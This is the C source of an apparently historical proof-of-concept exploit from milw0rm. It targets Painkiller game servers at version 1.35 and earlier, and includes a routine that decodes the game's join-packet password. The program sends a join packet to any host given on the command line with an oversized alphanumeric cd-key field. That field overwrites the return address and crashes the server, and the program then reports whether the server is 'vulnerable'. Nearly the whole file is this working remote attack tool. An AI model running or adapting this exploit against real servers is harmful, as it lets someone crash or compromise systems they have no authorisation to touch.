/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
/*
Painkiller packet's password encoder/decoder 0.1
by Luigi Auriemma
e-mail: aluigi@autistici.org
web: http://aluigi.altervista.org
INTRODUCTION
============
When you want to join a password protected game server of Painkiller
(http://www.painkillergame.com) your client sends a packet containing
the packet ID (0x04), your client version, the 72 bytes of the Gamespy
auth key (http://aluigi.altervista.org/papers/gskey-auth.txt) plus a
"strange" text string after it.
This text string is just the password you have used to join and it is
encrypted using the other text string (the server challenge) sent by
the server in its previous packet.
My optimized algorithm is able to decode/encode the password stored in
the packet sent by the client.
HOW TO USE
==========
The function is an algorithm used for both encoding and decoding
without differences.
It needs only 2 parameters:
- pwd: the client's password stored in the packet
- enc: the server challenge string
Example:
#include "painkiller_pckpwd.h"
unsigned char pwd[] = "5mjblOpV8N",
enc[] = "k7bEv4cGcw";
painkiller_pckpwd(pwd, enc);
printf("Password: %s\n", pwd); // the password is "mypassword"
LICENSE
=======
Copyright 2004 Luigi Auriemma
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
http://www.gnu.org/licenses/gpl.txt
*/
/* Inserted painkiller_pckpwd.h, winerr.h /str0ke */
void painkiller_pckpwd(unsigned char *pwd, unsigned char *enc) {
unsigned char buff[64],
encbuff[64],
*p1,
*p2;
int len,
i,
cl,
dl,
esi,
edi;
p1 = pwd;
while(1) {
if((*p1 >= '0') && (*p1 <= '9')) {
*p1 -= 0x30;
} else if((*p1 >= 'a') && (*p1 <= 'z')) {
*p1 -= 0x57;
} else if((*p1 >= 'A') && (*p1 <= '\\')) {
*p1 -= 0x1d;
} else {
break;
}
p1++;
}
len = p1 - pwd;
p1 = buff;
for(i = 0; i < 64; i++) {
*p1++ = i;
}
p1 = enc;
p2 = encbuff;
for(i = 0; i < 64; i++) {
*p2++ = *p1++;
if(!*p1) p1 = enc;
}
p1 = buff;
p2 = encbuff;
for(i = esi = 0; i < 64; i++) {
cl = *p1;
esi = (*p2 + cl + esi) & 63;
*p1++ = buff[esi];
buff[esi] = cl;
p2++;
}
esi = edi = 0;
p1 = pwd;
for(i = 0; i < len; i++) {
esi = (esi + 1) & 63;
cl = buff[esi];
edi = (cl + edi) & 63;
dl = buff[edi];
buff[esi] = dl;
buff[edi] = cl;
*p1++ ^= buff[(dl + cl) & 63];
}
p1 = pwd;
while(len--) {
if(*p1 <= 9) {
*p1 += 0x30;
} else if((*p1 >= 0xa) && (*p1 <= 0x23)) {
*p1 += 0x57;
} else {
*p1 += 0x1d;
}
p1++;
}
}
#ifdef WIN32
#include <winsock.h>
/*
Header file used for manage errors in Windows
It support socket and errno too
(this header replace the previous sock_errX.h)
*/
#include <string.h>
#include <errno.h>
void std_err(void) {
char *error;
switch(WSAGetLastError()) {
case 10004: error = "Interrupted system call"; break;
case 10009: error = "Bad file number"; break;
case 10013: error = "Permission denied"; break;
case 10014: error = "Bad address"; break;
case 10022: error = "Invalid argument (not bind)"; break;
case 10024: error = "Too many open files"; break;
case 10035: error = "Operation would block"; break;
case 10036: error = "Operation now in progress"; break;
case 10037: error = "Operation already in progress"; break;
case 10038: error = "Socket operation on non-socket"; break;
case 10039: error = "Destination address required"; break;
case 10040: error = "Message too long"; break;
case 10041: error = "Protocol wrong type for socket"; break;
case 10042: error = "Bad protocol option"; break;
case 10043: error = "Protocol not supported"; break;
case 10044: error = "Socket type not supported"; break;
case 10045: error = "Operation not supported on socket"; break;
case 10046: error = "Protocol family not supported"; break;
case 10047: error = "Address family not supported by protocol family"; break;
case 10048: error = "Address already in use"; break;
case 10049: error = "Can't assign requested address"; break;
case 10050: error = "Network is down"; break;
case 10051: error = "Network is unreachable"; break;
case 10052: error = "Net dropped connection or reset"; break;
case 10053: error = "Software caused connection abort"; break;
case 10054: error = "Connection reset by peer"; break;
case 10055: error = "No buffer space available"; break;
case 10056: error = "Socket is already connected"; break;
case 10057: error = "Socket is not connected"; break;
case 10058: error = "Can't send after socket shutdown"; break;
case 10059: error = "Too many references, can't splice"; break;
case 10060: error = "Connection timed out"; break;
case 10061: error = "Connection refused"; break;
case 10062: error = "Too many levels of symbolic links"; break;
case 10063: error = "File name too long"; break;
case 10064: error = "Host is down"; break;
case 10065: error = "No Route to Host"; break;
case 10066: error = "Directory not empty"; break;
case 10067: error = "Too many processes"; break;
case 10068: error = "Too many users"; break;
case 10069: error = "Disc Quota Exceeded"; break;
case 10070: error = "Stale NFS file handle"; break;
case 10091: error = "Network SubSystem is unavailable"; break;
case 10092: error = "WINSOCK DLL Version out of range"; break;
case 10093: error = "Successful WSASTARTUP not yet performed"; break;
case 10071: error = "Too many levels of remote in path"; break;
case 11001: error = "Host not found"; break;
case 11002: error = "Non-Authoritative Host not found"; break;
case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
case 11004: error = "Valid name, no data record of requested type"; break;
default: error = strerror(errno); break;
}
fprintf(stderr, "\nError: %s\n", error);
exit(1);
}
#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#endif
#define VER "0.1"
#define BUFFSZ 8192
#define PORT 3455
#define TIMEOUT 3
#define CONN "\xff\xff\xff\xff\x02"
#define JOIN1 "\xff\xff\xff\xff\x04"
#define EIP "AAAA" /* alpha-numeric only! (1 - 9, A - Z and a - z) */
#define SEND(x,y) if(sendto(sd, x, y, 0, (struct sockaddr *)&peer, sizeof(peer)) \
< 0) std_err();
#define REALRECV len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); \
if(len < 0) std_err(); \
buff[len] = 0x00;
#define RECV if(timeout(sd) < 0) { \
fputs("\nError: socket timeout, no reply received\n", stdout); \
exit(1); \
} \
REALRECV;
u_char *show_info(u_char *buff, int len);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
len,
verlen = 0,
j,
join2len;
u_short port = PORT;
u_char buff[BUFFSZ + 1],
password[32],
server_chall[32],
*p,
*gamever = NULL,
info[] =
"\xfe\xfd\x00" "\x00\x00\x00\x00" "\xff\x00\x00",
bof[] =
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
EIP,
*join2[] = {
"122.304", /* 0 = 1.6 */
"105.263", /* 1 = 1.3 */
"105.262", /* 2 = 1.2 */
"101.258", /* 3 = 1.1 */
NULL
};
setbuf(stdout, NULL);
fputs("\n"
"Painkiller <= 1.35 in-game cd-key alpha-numeric buffer-overflow "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 2) {
printf("\n"
"Usage: %s <host> [port(%d)]\n"
"\n"
" Return address will be overwritten with 0x%08lx.\n"
" Only alpha-numeric return addresses are allowed\n"
"\n", argv[0], port, *(u_long *)EIP);
exit(1);
}
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
if(argc > 2) port = atoi(argv[2]);
peer.sin_addr.s_addr = resolv(argv[1]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), port);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
fputs("- request informations:\n", stdout);
*(u_long *)(info + 3) = ~time(NULL);
SEND(info, sizeof(info) - 1);
RECV;
close(sd);
gamever = show_info(buff, len);
if(!gamever) {
fputs("\nError: no game version in the information reply\n\n", stdout);
exit(1);
}
verlen = strlen(gamever) + 1;
*password = 0x00;
j = 0;
join2len = strlen(join2[j]) + 1;
printf("- try client script version %s\n", join2[j]);
for(;;) { /* for passwords only */
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
fputs("\n- send connection request packet\n", stdout);
SEND(CONN, sizeof(CONN) - 1);
RECV;
strncpy(server_chall, buff + 5, sizeof(server_chall) - 1);
server_chall[sizeof(server_chall) - 1] = 0x00;
printf("- server challenge: %s\n", server_chall);
p = (u_char *)memcpy(buff, JOIN1, sizeof(JOIN1) - 1) +
sizeof(JOIN1) - 1;
p = (u_char *)memcpy(p, gamever, verlen) +
verlen;
p = (u_char *)memcpy(p, join2[j], join2len) +
join2len;
p = (u_char *)memcpy(p, bof, sizeof(bof)) + /* Gamespy cd-key */
sizeof(bof); /* plus buffer-overflow */
if(!j) { /* new 1.6 protocol */
*p++ = 0x00;
} else { /* old protocol */
*(u_long *)p = 0x00000000;
p += 4;
}
len = strlen(password) + 1;
memcpy(p, password, len);
painkiller_pckpwd(p, server_chall);
p += len;
if(!j) *p++ = 0x01; /* new 1.6 protocol */
*(u_long *)p = time(NULL);
p += 4;
printf("- send the buffer-overflow packet (EIP = 0x%08lx)\n", *(u_long *)EIP);
SEND(buff, p - buff);
fputs("- wait some seconds...\n", stdout);
if(timeout(sd) < 0) break;
REALRECV;
if(!buff[4]) {
if(buff[5] == 1) {
free(gamever);
gamever = strdup(buff + 6);
verlen = strlen(gamever) + 1;
printf("\n- force game version to %s\n", gamever);
if(buff[6 + verlen] == '?') {
if(!join2[++j]) {
fputs("\nError: this server uses an unknown client script version\n\n", stdout);
exit(1);
}
join2len = strlen(join2[j]) + 1;
printf("\n- try client script version %s\n", join2[j]);
}
close(sd);
continue;
} else if(buff[5] == 2) {
if(!join2[++j]) {
fputs("\nError: this server uses an unknown client script version\n\n", stdout);
exit(1);
}
join2len = strlen(join2[j]) + 1;
printf("\n- try client script version %s\n", join2[j]);
close(sd);
continue;
} else if(buff[5] == 3) {
fputs("- server is protected by password, insert it:\n ", stdout);
fflush(stdin);
fgets(password, sizeof(password) - 1, stdin);
password[strlen(password) - 1] = 0x00;
close(sd);
continue;
} else if(buff[5] == 13) {
fputs("\n"
"- the server is NOT vulnerable, it has replied with the error 13:\n"
" Challenge response too long!\n", stdout);
break;
}
printf("\nError: %s\n", buff + 6);
exit(1);
}
fputs("- seems the server is not vulnerable since it is not crashed yet\n", stdout);
break;
}
fputs("\n- check server:\n", stdout);
SEND(info, sizeof(info) - 1);
if(timeout(sd) < 0) {
fputs("\nServer IS vulnerable!!!\n\n", stdout);
} else {
fputs("\nServer doesn't seem vulnerable\n\n", stdout);
}
close(sd);
return(0);
}
u_char *show_info(u_char *buff, int len) {
u_char *p1,
*p2,
*limit,
*ver = NULL;
int nt = 0,
doit = 0;
limit = buff + len;
p1 = buff + 5;
while(p1 < limit) {
p2 = strchr(p1, 0x00);
if(!p2) break;
*p2 = 0x00;
if(!nt) {
if(!*p1) break;
if(!strcmp(p1, "gamever")) doit = 1;
printf("%30s: ", p1);
nt++;
} else {
if(doit) {
ver = strdup(p1);
doit = 0;
}
printf("%s\n", p1);
nt = 0;
}
p1 = p2 + 1;
}
fputc('\n', stdout);
return(ver);
}
int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;
tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
// milw0rm.com [2005-02-02]